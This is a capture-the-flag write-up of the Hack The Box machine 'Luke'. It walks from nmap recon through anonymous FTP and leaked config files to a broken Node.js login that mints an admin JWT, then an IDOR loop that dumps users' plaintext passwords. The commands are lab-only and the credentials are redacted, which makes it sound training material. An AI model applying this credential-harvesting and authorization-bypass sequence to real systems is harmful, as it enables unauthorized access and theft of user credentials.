Post

Luke

Luke is a medium FreeBSD box driven entirely by enumeration and credential reuse. Anonymous FTP and a directory-listing on the web root leak config files, a Node.js/Express API authorizes on a client-supplied username and leaks every user's plaintext password through an IDOR, and the harvested credentials unlock the host's management panel. This post covers recon through the user flag.

Luke

Overview

Luke is a medium-difficulty FreeBSD machine that is pure enumeration and credential reuse — no memory corruption, no kernel bugs. Anonymous FTP and a wide-open /management directory listing leak the website’s config files; a Node.js/Express API on port 3000 only checks that a password is valid for some user but authorizes on a client-supplied username=admin, then leaks every account’s plaintext password through an IDOR. Those credentials unlock the host’s web management panel. This post stops at user.txt.

Recon

PortServiceNotes
21FTP (vsftpd)anonymous login allowed
22OpenSSHpassword auth (not the path)
80Apache 2.4.38 (FreeBSD) PHP 7.3.3main site + /management listing
3000Node.js / ExpressJSON API, JWT-gated
8000Ajentiserver-management panel
1
nmap -sC -sV -p- 10.129.96.55

Two web apps, an anonymous FTP, and a management panel — the classic “follow the leaked credentials” shape.

Enumeration

Anonymous FTP drops a note from Derry hinting the website source was left on the server:

1
ftp -n 10.129.96.55   # login: anonymous / GET the note

Port 80 has a /management directory with autoindex enabled, listing config.php, config.json, and login.php. The PHP config leaks the database credentials and config.json holds the management-panel credentials:

1
2
curl -su Derry:<redacted> http://10.129.96.55/management/config.php   # $dbUsername=root / $dbPassword=<redacted>
curl -su Derry:<redacted> http://10.129.96.55/management/config.json  # panel root password

Foothold

The Node.js API on port 3000 rejects unauthenticated requests but its /login route is broken: it validates the password against any user, yet authorizes purely on username=admin. Feeding the leaked DB password with username=admin mints a valid admin JWT:

1
2
curl -s -X POST http://10.129.96.55:3000/login -d 'username=admin&password=<redacted>'
# {"success":true,"token":"eyJhbGci..."}

With that token, /users lists every account and /users/:name returns each one’s plaintext password — a textbook IDOR (the server trusts the token but never checks which user’s secrets you may read):

1
2
3
4
5
T=<jwt>
curl -s http://10.129.96.55:3000/users -H "Authorization: Bearer $T"
for u in Admin Derry Yuri Dory; do
  echo "== $u =="; curl -s http://10.129.96.55:3000/users/$u -H "Authorization: Bearer $T"; echo
done

That hands over the full credential set. The management panel on port 8000 accepts the leaked panel password, granting an interactive shell on the host and access to the user flag.

User flag

1
cat /home/<user>/user.txt   # HTB{...}

Access to the box achieved through nothing more than leaked-then-reused credentials and a broken authorization check.

Foothold complete. Privilege escalation is left as an exercise — this post stops at user.

This post is licensed under CC BY 4.0 by the author.